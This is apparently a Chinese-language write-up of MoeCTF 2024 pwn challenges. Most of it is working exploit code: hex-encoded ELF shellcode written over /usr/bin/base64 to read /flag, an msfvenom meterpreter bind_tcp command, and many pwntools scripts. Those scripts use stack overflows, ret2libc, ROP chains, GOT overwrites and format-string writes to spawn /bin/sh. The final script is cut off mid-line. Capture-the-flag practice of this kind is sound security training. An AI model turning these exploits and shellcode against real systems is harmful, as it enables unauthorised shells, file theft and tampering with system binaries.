00 01 00 00 00 00 00 00 00 @ 8 00000040 01 00 00 00 07 00 00 00 00 00 00 00 00 00 00 00 00000050 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 @ @ 00000060 FA 00 00 00 00 00 00 00 7C 01 00 00 00 00 00 00 ? | 00000070 00 10 00 00 00 00 00 00 49 C7 C2 74 00 00 00 41 I锹t A 00000080 52 49 BA 2F 66 6C 61 67 2E 74 78 41 52 49 89 E3 RI?flag.txARI夈 00000090 48 81 EC 00 01 00 00 48 C7 C0 02 00 00 00 4C 89 H ? H抢 L? 000000A0 DF 48 31 F6 48 89 F2 0F 05 48 89 C7 48 89 E6 48 逪1鯤夠 H壡H夋H 000000B0 C7 C2 80 00 00 00 48 31 C0 0F 05 48 C7 C7 01 00 锹€ H1? H乔 000000C0 00 00 48 89 F8 0F 05 25 49 FF C9 74 18 57 6A 23 H夬 %I蓆 Wj# 000000D0 58 6A 00 6A 05 48 89 E7 48 31 F6 0F 05 59 59 5F Xj j H夌H1? YY_ 000000E0 48 85 C0 79 C7 6A 3C 58 6A 01 5F 0F 05 5E 6A 7E H吚y莏<Xj _ ^j~ 000000F0 5A 0F 05 48 85 C0 78 ED FF E6 Z H吚x??由于我们直接写入的文件没有可执行权限，chmod命令又不能使用。需要覆写进入一个已有的可执行文件内。利用printf函数无损写入printf "\x7F\x45\x4C\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3E\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xFA\x00\x00\x00\x00\x00\x00\x00\x7C\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x49\xC7\xC2\x74\x00\x00\x00\x41\x52\x49\xBA\x2F\x66\x6C\x61\x67\x2E\x74\x78\x41\x52\x49\x89\xE3\x48\x81\xEC\x00\x01\x00\x00\x48\xC7\xC0\x02\x00\x00\x00\x4C\x89\xDF\x48\x31\xF6\x48\x89\xF2\x0F\x05\x48\x89\xC7\x48\x89\xE6\x48\xC7\xC2\x80\x00\x00\x00\x48\x31\xC0\x0F\x05\x48\xC7\xC7\x01\x00\x00\x00\x48\x89\xF8\x0F\x05\x25\x49\xFF\xC9\x74\x18\x57\x6A\x23\x58\x6A\x00\x6A\x05\x48\x89\xE7\x48\x31\xF6\x0F\x05\x59\x59\x5F\x48\x85\xC0\x79\xC7\x6A\x3C\x58\x6A\x01\x5F\x0F\x05\x5E\x6A\x7E\x5A\x0F\x05\x48\x85\xC0\x78\xED\xFF\xE6" > /usr/bin/base64执行root@ret2shell-89-9018:~# base64 moectf{BU5YB0x-i5_SOO0OoO10OOOo0OOoOOOOO0o0OOo_BUSyd} Segmentation fault (core dumped) root@ret2shell-89-9018:~# 哦不！我的nginx！同上题，先构造纯纯大汇编读取/etc/nginx/nginx.confnginx的配置文件mov r10,0x666E6F632E; push r10; mov r10,0x786E69676E2F786E; push r10; mov r10,0x69676E2F6374652F; push r10; mov r11,rsp; sub rsp,0x300; mov rax,2; mov rdi,r11; xor rsi,rsi; mov rdx,rsi; syscall; mov rdi,rax; mov rsi,rsp; mov rdx,0x800; xor rax,rax;syscall; mov rdi,1; mov rax,rdi; syscall;读取到user www-data; worker_processes auto; pid /run/nginx.pid; error_log /var/log/nginx/error.log; include /etc/nginx/modules-enabled/*.conf; events { worker_connections 768; # multi_accept on; } http { # # Basic Settings # sendfile on; tcp_nopush on; types_hash_max_size 2048; # server_tokens off; # server_names_hash_bucket_size 64; # server_name_in_redirect off; include /etc/nginx/mime.types; default_type application/octet-stream; # # SSL Settings # ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE ssl_prefer_server_ciphers on; # # Logging Settings # access_log /var/log/nginx/access.log; # # Gzip Settings # gzip on; # gzip_vary on; # gzip_proxied any; # gzip_comp_level 6; # gzip_buffers 16 8k; # gzip_http_version 1.1; # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; # # Virtual Host Configs # include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*; } #mail { # # See sample authentication script at: # # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript # # # auth_http localhost/auth.php; # # pop3_capabilities "TOP" "USER"; # # imap_capabilities "IMAP4rev1" "UIDPLUS"; # # server { # listen localhost:110; # protocol pop3; # proxy on; # } # # server { # listen localhost:143; # protocol imap; # proxy on; # } #} 用cd命令获取各个conf的文件夹，发现仅cd /etc/nginx/sites-enabled/的时候存在default文件，再用纯纯大汇编读取/etc/nginx/sites-enabled/default。xor r10,r10; push r10; mov r10,0x746C75616665642F; push r10; mov r10,0x64656C62616E652D; push r10; mov r10,0x73657469732F786E; push r10; mov r10,0x69676E2F6374652F; push r10; mov r11,rsp; sub rsp,0x300; mov rax,2; mov rdi,r11; xor rsi,rsi; mov rdx,rsi; syscall; mov rdi,rax; mov rsi,rsp; mov rdx,0x800; xor rax,rax;syscall; mov rdi,1; mov rax,rdi; syscall;读取到server { listen 80 default_server; root /var/www/html; location / { index index.html; } } /etc/nginx/sites-enabled/default现在得知nginx监听的是80端口，用纯纯大汇编写一个监听80端口，并将接收到的tcp流量输出出来，直接写起来有点费劲，想起来meterpreter的bind_tcp功能与我期望的功能类似，bind_tcp是将接收的tcp流量shellcode写入内存跳转执行，我只需要将跳转执行这一段汇编代码改为输出，就能够获取接收的字符串了。先用msfvenom生成一个马，msfvenom -p linux\x64\meterpreter\bind_tcp LPORT=80 -f elf -o nginx得到的程序反汇编LOAD:0000000000400078 push 29h ; ')' LOAD:000000000040007A pop rax LOAD:000000000040007B cdq ; protocol LOAD:000000000040007C push 2 LOAD:000000000040007E pop rdi ; family LOAD:000000000040007F push 1 LOAD:0000000000400081 pop rsi ; type LOAD:0000000000400082 syscall ; LINUX - sys_socket LOAD:0000000000400084 xchg rax, rdi ; fd LOAD:0000000000400086 push rdx LOAD:0000000000400087 mov [rsp+8+var_8], 50000002h LOAD:000000000040008E mov rsi, rsp ; backlog LOAD:0000000000400091 push 10h LOAD:0000000000400093 pop rdx ; upeer_addrlen LOAD:0000000000400094 push 31h ; '1' LOAD:0000000000400096 pop rax LOAD:0000000000400097 syscall ; LINUX - sys_bind LOAD:0000000000400099 pop rcx LOAD:000000000040009A push 32h ; '2' LOAD:000000000040009C pop rax LOAD:000000000040009D syscall ; LINUX - sys_listen LOAD:000000000040009F xchg rax, rsi ; upeer_sockaddr LOAD:00000000004000A1 push 2Bh ; '+' LOAD:00000000004000A3 pop rax LOAD:00000000004000A4 syscall ; LINUX - sys_accept LOAD:00000000004000A6 push rax LOAD:00000000004000A7 push rsi LOAD:00000000004000A8 pop rdi ; addr LOAD:00000000004000A9 push 9 LOAD:00000000004000AB pop rax LOAD:00000000004000AC cdq LOAD:00000000004000AD mov dh, 10h LOAD:00000000004000AF mov rsi, rdx ; len LOAD:00000000004000B2 xor r9, r9 ; off LOAD:00000000004000B5 push 22h ; '"' LOAD:00000000004000B7 pop r10 ; flags LOAD:00000000004000B9 mov dl, 7 ; prot LOAD:00000000004000BB syscall ; LINUX - sys_mmap LOAD:00000000004000BD xchg rax, rsi LOAD:00000000004000BF xchg rax, rdi LOAD:00000000004000C1 pop rdi LOAD:00000000004000C2 syscall ; LINUX - LOAD:00000000004000C4 jmp rsi这里，只需要将末端的jmp rsi指令替换成以下指令，rsi为转跳地址，就是获取的字符串地址，无需修改，由于汇编码长于之前的代码，需要修改0x60处的文件大小。mov rax,1; mov rdi,rax; mov rdx,0x800; syscall;试一试root@ret2shell-91-9018:~# printf "\x7F\x45\x4C\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3E\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xE6\x00\x00\x00\x00\x00\x00\x00\x14\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x6A\x29\x58\x99\x6A\x02\x5F\x6A\x01\x5E\x0F\x05\x48\x97\x52\xC7\x04\x24\x02\x00\x00\x50\x48\x89\xE6\x6A\x10\x5A\x6A\x31\x58\x0F\x05\x59\x6A\x32\x58\x0F\x05\x48\x96\x6A\x2B\x58\x0F\x05\x50\x56\x5F\x6A\x09\x58\x99\xB6\x10\x48\x89\xD6\x4D\x31\xC9\x6A\x22\x41\x5A\xB2\x07\x0F\x05\x48\x96\x48\x97\x5F\x0F\x05\x48\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC2\x00\x10\x00\x00\x48\x89\xF8\x0F\x05\x48\xC7\xC0\x3C\x00\x00\x00\x48\x31\xFF\x0F\x05" > /usr/bin/base32 root@ret2shell-91-9018:~# base32 GET /files/0b9b96e8-65d1-431f-a056-923c1cded988 HTTP/1.1 accept: */* host: 127.0.0.1 root@ret2shell-91-9018:~#多次尝试，发现只有对端发送的代码，没有flag，再次读题，题目说明“客户”：会不断请求损坏的服务器，如果客户高兴的话，就会给你 flag（以请求参数形式传递）；，并且cd 到html目录，发现服务器内存在对应文件，推断需要客户访问到对应的文件内容，才能反馈flag。这个要求代码量极大，用纯纯大汇编写起来非常坐牢，无奈退而求其次，用万能的chatgpt写一段c语言模拟httpserver服务，静态编译完扔回服务器。#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #define PORT 80 #define BUFFER_SIZE 4096 #define WEB_ROOT "/var/www/html" void handle_client(int client_socket) { char buffer[BUFFER_SIZE]; char method[16], path[256], protocol[16]; char full_path[BUFFER_SIZE]; int file_fd; ssize_t bytes_read; // 读取客户端请求 bytes_read = read(client_socket, buffer, sizeof(buffer) - 1); if (bytes_read <= 0) { perror("read"); close(client_socket); return; } buffer[bytes_read] = '\0'; // 将请求内容打印到标准输出 printf("Received request:\n%s\n", buffer); // 解析 HTTP 请求行（GET /path HTTP/1.1） sscanf(buffer, "%s %s %s", method, path, protocol); // 只处理 GET 请求 if (strcmp(method, "GET") != 0) { const char *response = "HTTP/1.1 501 Not Implemented\r\n\r\n"; write(client_socket, response, strlen(response)); close(client_socket); return; } // 处理请求路径 snprintf(full_path, sizeof(full_path), "%s%s", WEB_ROOT, path); // 如果请求的是目录，默认返回 index.html if (full_path[strlen(full_path) - 1] == '/') { strncat(full_path, "index.html", sizeof(full_path) - strlen(full_path) - 1); } // 打开文件 file_fd = open(full_path, O_RDONLY); if (file_fd < 0) { // 文件未找到，返回404 const char *response = "HTTP/1.1 404 Not Found\r\n\r\n"; write(client_socket, response, strlen(response)); close(client_socket); return; } // 发送响应头 const char *response_header = "HTTP/1.1 200 OK\r\n\r\n"; write(client_socket, response_header, strlen(response_header)); // 发送文件内容 while ((bytes_read = read(file_fd, buffer, sizeof(buffer))) > 0) { write(client_socket, buffer, bytes_read); } // 关闭文件和客户端连接 close(file_fd); close(client_socket); } int main() { int server_fd, client_socket; struct sockaddr_in server_addr, client_addr; socklen_t client_addr_len = sizeof(client_addr); // 创建套接字 if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) { perror("socket failed"); exit(EXIT_FAILURE); } // 设置服务器地址结构 server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = INADDR_ANY; server_addr.sin_port = htons(PORT); // 绑定套接字到指定的端口 if (bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) { perror("bind failed"); close(server_fd); exit(EXIT_FAILURE); } // 开始监听端口 if (listen(server_fd, 10) < 0) { perror("listen failed"); close(server_fd); exit(EXIT_FAILURE); } printf("HTTP server is listening on port %d, serving %s\n", PORT, WEB_ROOT); // 主循环，处理客户端连接 while (1) { // 接受客户端连接 client_socket = accept(server_fd, (struct sockaddr *)&client_addr, &client_addr_len); if (client_socket < 0) { perror("accept failed"); close(server_fd); exit(EXIT_FAILURE); } // 处理客户端请求 handle_client(client_socket); } // 关闭服务器套接字 close(server_fd); return 0; }编译gcc httpserver.c --static -o httpserver由于生成的静态文件过大，一次性写入服务器会崩溃。需要分段写入到可执行文件内，写出python脚本分割文件。def file_to_hex_chunks(file_path, chunk_size=100000): i = 1 with open(file_path, 'rb') as file: while True: # 读取指定大小的块 chunk = file.read(chunk_size) if not chunk: # 如果读取不到数据则退出循环 break # 将每个字符转为\x格式的十六进制 hex_chunk = ''.join(f'\\x{byte:02x}' for byte in chunk) # 输出结果 f = open(str(i)+".txt","w") if i == 1: f.write('printf "'+hex_chunk+'" > /usr/bin/base32') else: f.write('printf "'+hex_chunk+'" >> /usr/bin/base32') f.close() i +=1 # 示例使用 file_path = './httpserver' file_to_hex_chunks(file_path)将分段生成的命令依次输入终端，执行base32命令，得到flag。root@ret2shell-91-9018:~# base32 HTTP server is listening on port 80, serving /var/www/html Received request: GET /files/f4e6aaf0-e319-4f07-941c-a01f4e4622f2 HTTP/1.1 accept: */* host: 127.0.0.1 Received request: GET /?flag=moectf{thAT5_not+veRY-H@rD-tO_reSCU3,r1ghT?978492} HTTP/1.1 accept: */* host: 127.0.0.1 Received request: GET /files/ca577100-1755-42ab-85d5-8d37b62da6e0 HTTP/1.1 accept: */* host: 127.0.0.1 Received request: GET /?flag=moectf{thAT5_not+veRY-H@rD-tO_reSCU3,r1ghT?978492} HTTP/1.1 accept: */* host: 127.0.0.1
Moectfwppwn比赛方提供的工具开放的端口并不对外，需要用frp做个端口转发再用虚拟机的pwntools链接frps.ini[common] bind_port = 7000frpc.ini[common] server_addr = 127.0.0.1 server_port = 7000 type = tcp local_ip=127.0.0.1 local_port = 7818 #目标端口 custom_domains = 127.0.0.1 remote_port = 1212 #本地映射二进制漏洞审计入门指北nc链接直接出nc 192.168.248.1 1212 Hey, how did you get here? I've been waiting so long, for anyone... To honor your courage, I decided to give you a flag. But next time, it won't be so easy. moectf{Welcome_to_the_journey_of_Pwn} Good luck. By the way, netcat is not a cat!flag_helper# coding=utf-8 from pwn import * r = remote('192.168.248.1',1212) # 选玩游戏，别的选项都是耍你 print(r.recvuntil(">")) r.sendline("4") # 读flag print(r.recvuntil(">")) r.sendline("/flag") # 读属性是4 print(r.recvuntil(">")) r.sendline("4") # 不知道为啥777不行，疑似是啥玩意的保护 print(r.recvuntil(">")) r.sendline("766") # 开一块空间 print(r.recvuntil(">")) r.sendline("7777") # 除了flag还读了4个没有用的东西，0是i流 1是o流 2是e流 3是第一个 4是第二个 5是flag 6是剩下那个没有用的 print(r.recvuntil(">")) r.sendline("5") r.interactive()NotEnoughTime前面两个是固定的，后边截取=之前的，把中间的\n去掉，eval完还回去。# coding=utf-8 from pwn import * r = remote('192.168.248.1',1212) elf = ELF('./format') r.recvuntil("=") r.sendline('2') r.recvuntil("=") r.sendline('0') r.recvuntil("\n") for i in range(20): s = "".join(r.recvuntil("=",drop=True).split("\n")) print(s) calcs = eval(s) print(calcs) r.sendline(str(calcs)) r.interactive()no_more_getsmain()函数的gets()函数存在暴力栈溢出，直接暴力栈溢出跳到后门处int __cdecl main(int argc, const char **argv, const char **envp) { char s1[80]; // [rsp+0h] [rbp-A0h] BYREF char s2[80]; // [rsp+50h] [rbp-50h] BYREF init(argc, argv, envp); arc4random_buf(s1, 80LL); write(1, "This is my own shell, enter the password or get out.\n", 0x36uLL); gets(s2); if ( !strncmp(s1, s2, 0x50uLL) ) my_shell(); else write(1, "Password wrong!\n", 0x11uLL); return 0; }exp# coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./lockedshell') #gdb.attach(r,"b * 0x8049F9C") gdb.attach(r,"b * 0x40129E") else: r = remote('192.168.248.1',1212) elf = ELF('./lockedshell') r.recvuntil("out.") r.sendline('2'*80+p64(0xdeadbeef)+p64(0x401193)) r.interactive()leak_sthfunc()函数存在格式化字符串漏洞。unsigned __int64 func() { unsigned int v0; // eax __int64 v2; // [rsp+0h] [rbp-40h] BYREF __int64 v3; // [rsp+8h] [rbp-38h] char buf[40]; // [rsp+10h] [rbp-30h] BYREF unsigned __int64 v5; // [rsp+38h] [rbp-8h] v5 = __readfsqword(0x28u); v0 = time(0LL); srand(v0); v3 = rand(); puts("Welcome to MoeCTF 2024"); puts("What's your name?"); read(0, buf, 0x20uLL); puts("Your name:"); printf(buf); //漏洞在这 puts("Give me the number"); __isoc99_scanf("%ld", &v2); if ( v3 == v2 ) backdoor(); else puts("Nice try"); return v5 - __readfsqword(0x28u); }根据栈内计算，第7个参数为v3（从0-5依次为寄存器，第6个参数为v2，第7个为v3）。直接nc连接，输入%7$d，将获得的数字发送回去，得到权限。nc 192.168.248.1 1212 Welcome to MoeCTF 2024 What's your name? %7$d Your name: 1860032473 Give me the number 1860032473 Congratulations! cat flag moectf{Y0U_4re-lUky_Or-Cl3veR267bdad4e}ez_shellcode题目除pie保护全关。 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segmentsfunc()函数存在暴力栈溢出，且提供栈地址。ssize_t func() { unsigned int nbytes; // [rsp+Ch] [rbp-64h] BYREF _BYTE nbytes_4[96]; // [rsp+10h] [rbp-60h] BYREF nbytes = 0; puts("Wellcome to MoeCTF2024!"); puts("Tell me your age:"); __isoc99_scanf("%d", &nbytes); puts("Here is a gift for you :"); printf("%p\n", nbytes_4); //地址 puts("What do you want to say?"); return read(0, nbytes_4, nbytes); //暴力栈溢出 }在栈内写入shellcode并暴力栈溢出控制rip跳转回栈内getshell。#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./ez_shellcode') gdb.attach(r,"b * $rebase(0x12CD)") else: r = remote('192.168.248.1',1212) elf = ELF('./ez_shellcode') r.recvuntil("age:") r.sendline("99999999") r.recvuntil("you :\n") stack = int(r.recv(14),16) log.success("stack:"+hex(stack)) shellcode = asm("mov eax,0x3b;mov r11,0x0068732F6E69622F;push r11;mov rdi,rsp;xor rsi,rsi;xor rdx,rdx;syscall") r.send(shellcode+'a'*(96-len(shellcode))+p64(0xdeadbeef)+p64(stack)) r.interactive()这是什么？libc！题目开启了PIE保护，但是提供了puts()函数的地址，通过这个地址可以计算出libc的基址，并利用libc内部的pop链getshell。int __fastcall main(int argc, const char **argv, const char **envp) { char buf; // [rsp+Fh] [rbp-1h] BYREF init(argc, argv, envp); printf("PIE enabled, but no worry.\nI give you an address in libc: %p.\nAnd now it's your show time.\n> ", &puts); read(0, &buf, 0x100uLL); return 0; }#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./prelibc') gdb.attach(r,"b * $rebase(0x1201)") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('192.168.248.1',1212) libc = ELF('./libc.so.6') elf = ELF('./prelibc') r.recvuntil("libc: ") puts_addr = int(r.recv(14),16) log.success("puts_addr:"+hex(puts_addr)) libc_addr = puts_addr - libc.symbols['puts'] log.success("libc_addr:"+hex(libc_addr)) pop_rdi = libc_addr + 0x2a3e5 binsh = libc_addr + libc.search("/bin/sh").next() system = libc_addr + libc.symbols['system'] ret = libc_addr + 0x29139 one_gadget = libc_addr + 0x10d9ca r.sendline("\x00"+p64(0xdeadbeef)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)) r.interactive()这是什么？shellcode！题目影响ida分析，根据汇编分析是输入一串东西，直接跳转执行，试试直接编译一段shellcode执行。buf= byte ptr -110h var_8= qword ptr -8 ; __unwind { push rbp mov rbp, rsp sub rsp, 110h mov rax, fs:28h mov [rbp+var_8], rax xor eax, eax mov eax, 0 call init lea rax, format ; "Give me your code, and I will execute i"... mov rdi, rax ; format mov eax, 0 call _printf lea rax, [rbp+buf] mov edx, 100h ; nbytes mov rsi, rax ; buf mov edi, 0 ; fd call _read lea rdx, [rbp+buf] mov eax, 0 call rdx mov edi, 0 ; status call _exit ; } // starts at 11C6 main endp _text endsexp#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./preshellcode') gdb.attach(r,"b * $rebase(0x1217)") #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('192.168.248.1',1212) #libc = ELF('./libc-2.31.so') elf = ELF('./preshellcode') sc = asm("mov rax,0x3b;mov r11,0x0068732F6E69622F;push r11;mov rdi,rsp;xor rsi,rsi;xor rdx,rdx;syscall") r.send(sc) r.interactive()这是什么？random！根据反编译出的代码，分析出随机数的种子为今天的日期，也就是说每天的随机数是固定的。int __fastcall main(int argc, const char **argv, const char **envp) { struct tm *v3; // rax time_t timer; // [rsp+8h] [rbp-28h] BYREF char *lineptr; // [rsp+10h] [rbp-20h] BYREF size_t n; // [rsp+18h] [rbp-18h] BYREF FILE *stream; // [rsp+20h] [rbp-10h] unsigned __int64 v10; // [rsp+28h] [rbp-8h] v10 = __readfsqword(0x28u); timer = time(0LL); v3 = localtime(&timer); srandom(v3->tm_yday); puts("Let's play a number guessing game."); while ( tests-- ) { secret = random() % 90000 + 10000; printf("Guess a five-digit number I'm thinking of\n> "); fflush(stdout); __isoc99_scanf("%u", &guess); if ( guess != secret ) { puts("Wrong."); exit(1); } puts("Wow, you are right!"); } random_file = fopen("/dev/random", "rb"); fread(&secret, 4uLL, 1uLL, random_file); fclose(random_file); secret = secret % 0x15F90u + 10000; printf("Guess a five-digit number I'm thinking of\n> "); fflush(stdout); __isoc99_scanf("%u", &guess); if ( guess == secret ) puts("Wow, you are right!"); else puts("Wrong."); secret = (unsigned int)arc4random() % 0x15F90 + 10000; printf("Guess a five-digit number I'm thinking of\n> "); fflush(stdout); __isoc99_scanf("%u", &guess); if ( guess == secret ) puts("Wow, you are right!"); else puts("Wrong."); puts("You only got two of them wrong, flag still for you."); stream = fopen("flag", "r"); lineptr = 0LL; n = 0LL; getline(&lineptr, &n, stream); puts(lineptr); return 0; }通过gdb将随机数提取出来，发送回去拿到flag。#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./prerandom') gdb.attach(r,"b * $rebase(0x149a)") else: r = remote('192.168.248.1',1212) elf = ELF('./prerandom') def guess(num): r.recvuntil("> ") r.sendline(str(num)) guess(0x45cb) guess(0x8d44) guess(0x10ccd) guess(0x43d8) guess(0x15a08) guess(0xae15) guess(0x16213) guess(0x13e7d) guess(0x4757) guess(0x18371) guess(0x148ce) guess(0x148ce) r.interactive()这是什么？GOT！main()函数将got表覆盖了int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { init(argc, argv, envp); printf("This is MoeCTF %u Pwn Basics.\n", 2024LL); write(1, "This is `write`.\n", 0x11uLL); puts("This is `puts`."); read(0, &off_404000, 0x40uLL); exit(0); }最开始看system()函数的got表也同样被覆盖，以为无解，后仔细看了一下正常的got表，发现结构如下。0x404000 <puts@got.plt>: 0x000075226a080e61 0x000075226a114870 0x404010 <system@got.plt>: 0x0000000000401056 0x000075226a0606f0 0x404020 <alarm@got.plt>: 0x000075226a0ea540 0x000075226a1147d0 0x404030 <setvbuf@got.plt>: 0x000075226a0815f0 0x00000000004010a6 0x404040: 0x0000000000000000 0x0000000000000000 0x404050: 0x0000000000000000 0x0000000000000000 0x404060 <stdout@GLIBC_2.2.5>: 0x000075226a21b780 0x0000000000000000 0x404070 <stdin@GLIBC_2.2.5>: 0x000075226a21aaa0 0x0000000000000000 0x404080 <stderr@GLIBC_2.2.5>: 0x000075226a21b6a0 0x0000000000000000system()的got表为本地的一个地址，跟进地址 0x401056 <system@plt+6>: push 0x2 0x40105b <system@plt+11>: jmp 0x401020再次跟进 0x401020: push QWORD PTR [rip+0x2fca] # 0x403ff0 0x401026: jmp QWORD PTR [rip+0x2fcc] # 0x403ff8这里进入dl_runtime_resolve_xsavec()正常走调用system()函数。exp如下：#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 1 if local == 1: r=process('./pregot') gdb.attach(r,"b * 0x40128A") #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('192.168.248.1',1212) #libc = ELF('./libc-2.31.so') elf = ELF('./pregot') #r.send('a') r.send(cyclic(16)+p64(0x401056)+cyclic(0x38-24)+p64(elf.symbols['unreachable'])) r.interactive()NX_on!静态编译题目，func()存在多次溢出。unsigned __int64 func() { int v0; // edx int v1; // ecx int v2; // r8d int v3; // r9d int v5; // [rsp+Ch] [rbp-24h] BYREF char v6[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v7; // [rsp+28h] [rbp-8h] v7 = __readfsqword(0x28u); puts("Wellcome to MoeCTF2024!"); puts("This time....."); puts("NX is enabled!"); puts("Your id?"); read(0LL, v6, 25LL); puts("Confirm your id:"); puts(v6); puts("Your real name?"); read(0LL, &buf2, 256LL); puts("Use your real name as id?"); puts("give me the size of your real name , 0 means quit"); fflush(stdin); _isoc99_scanf((unsigned int)"%d", (unsigned int)&v5, v0, v1, v2, v3); if ( v5 ) { if ( v5 > 16 ) puts("Number out of range!"); else j_memcpy(v6, &buf2, v5); } return v7 - __readfsqword(0x28u); }第一次溢出一个字节可泄露canary。第二次溢出需要控制溢出字符数量，0xffff0001刚刚好，懵逼不伤脑。exp如下#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./NX_on') gdb.attach(r,"b * 0x401C77") else: r = remote('192.168.248.1',1212) elf = ELF('./NX_on') binsh = 0x4E3950 rax = 0x4508b7 rdi = 0x40239f rsi = 0x40a40e rdxrbx = 0x49d12b syscall = 0x402154 r.send('a'*24+'b') r.recvuntil("aaab") canary = u64('\x00'+r.recv(7)) stack = u64(r.recv(6)+'\x00\x00') log.success("pie:"+hex(pie)) log.success("stack:"+hex(stack)) r.send(cyclic(24)+p64(canary)+p64(0xdeadbeef)+p64(rax)+p64(0x3b)+p64(rdi)+p64(binsh)+p64(rsi)+p64(0)+p64(rdxrbx)+p64(0)+p64(0)+p64(syscall)) r.recvuntil('quit') r.sendline(str(0xffff0001)) r.interactive()这是什么？32-bit！32位题目，vuln()函数存在栈溢出。int vuln() { char v1[36]; // [esp+0h] [ebp-28h] BYREF puts("Welcome to MoeCTF backdoor."); printf("Enter the password: "); getchar(); __isoc99_scanf("%[^\n]s", v1); if ( getuid() ) return puts("Permission denied."); puts("Password correct!"); return backdoor(); }利用已有的参数调用execve()getshell。#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'i386' local = 0 if local == 1: r=process('./backdoor') gdb.attach(r,"b * 0x080492e5") else: r = remote('192.168.248.1',1212) elf = ELF('./backdoor') #r.send('a') r.sendline(cyclic(45)+p32(0x8049212)+p32(elf.search('/bin/sh').next())+p32(0)+p32(0)) r.interactive()Moeplane题目给出了一个结构体struct airplane { /*It's a */ long flight; int altitude; int velocity; int angle; unsigned char engine_thrust[ENGINES]; } moeplane;分别是8字节的航程，4字节的高度，4字节的速度，4字节的角度，1字节的引擎（题目里为4个），题目要求将飞机的航程弄到69259509840对应16进制为0x1020304050题目改引擎数处存在数组越界。# coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./lockedshell') #gdb.attach(r,"b * 0x8049F9C") gdb.attach(r,"b * 0x40129E") else: r = remote('192.168.248.1',1212) def p(num1,num2): r.recvuntil("choice:") r.sendline('1') r.recvuntil("engine?") r.sendline(str(num1)) r.recvuntil("percentage") r.sendline(str(num2)) # 分别修改数值到对应位置，最后一个少点避免飞过头 p(-15,0x10) p(-16,0x20) p(-17,0x30) p(-18,0x18) # 给飞机提个速 p(-4,0x18) r.interactive()LoginSystemlogin()函数存在格式化字符串漏洞和后门,触发条件为第二次输入与&password匹配。unsigned __int64 login() { char s2[8]; // [rsp+8h] [rbp-58h] BYREF char buf[72]; // [rsp+10h] [rbp-50h] BYREF unsigned __int64 v3; // [rsp+58h] [rbp-8h] v3 = __readfsqword(0x28u); puts("*** LOGIN SYSTEM ***"); printf("username: "); read(0, buf, 0x40uLL); putchar(10); printf("Welcome, "); printf(buf); puts("! Please input your password: "); read(0, s2, 8uLL); puts("Checking..."); sleep(1u); if ( memcmp(&password, s2, 8uLL) ) { puts("Incorrect password!"); exit(1); } puts("Login success!"); system("/bin/sh"); return v3 - __readfsqword(0x28u); }&password为随机内容int init() { int fd; // [rsp+Ch] [rbp-4h] setbuf(stdin, 0LL); setbuf(_bss_start, 0LL); setbuf(stderr, 0LL); fd = open("/dev/urandom", 0, 0LL); if ( fd < 0 ) { puts("urandom"); exit(1); } read(fd, &password, 8uLL); return close(fd); }通过计算格式化字符串漏洞参数为第8位，构造格式化字符串漏洞直接抹除掉随机数触发后门。# coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./loginsystem') gdb.attach(r,"b * 0x4013C2") #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('192.168.248.1',1212) #libc = ELF('./libc-2.31.so') elf = ELF('./loginsystem') r.recvuntil("username: ") r.send("abcd%10$lnbaaaaa"+p64(0x404050)) 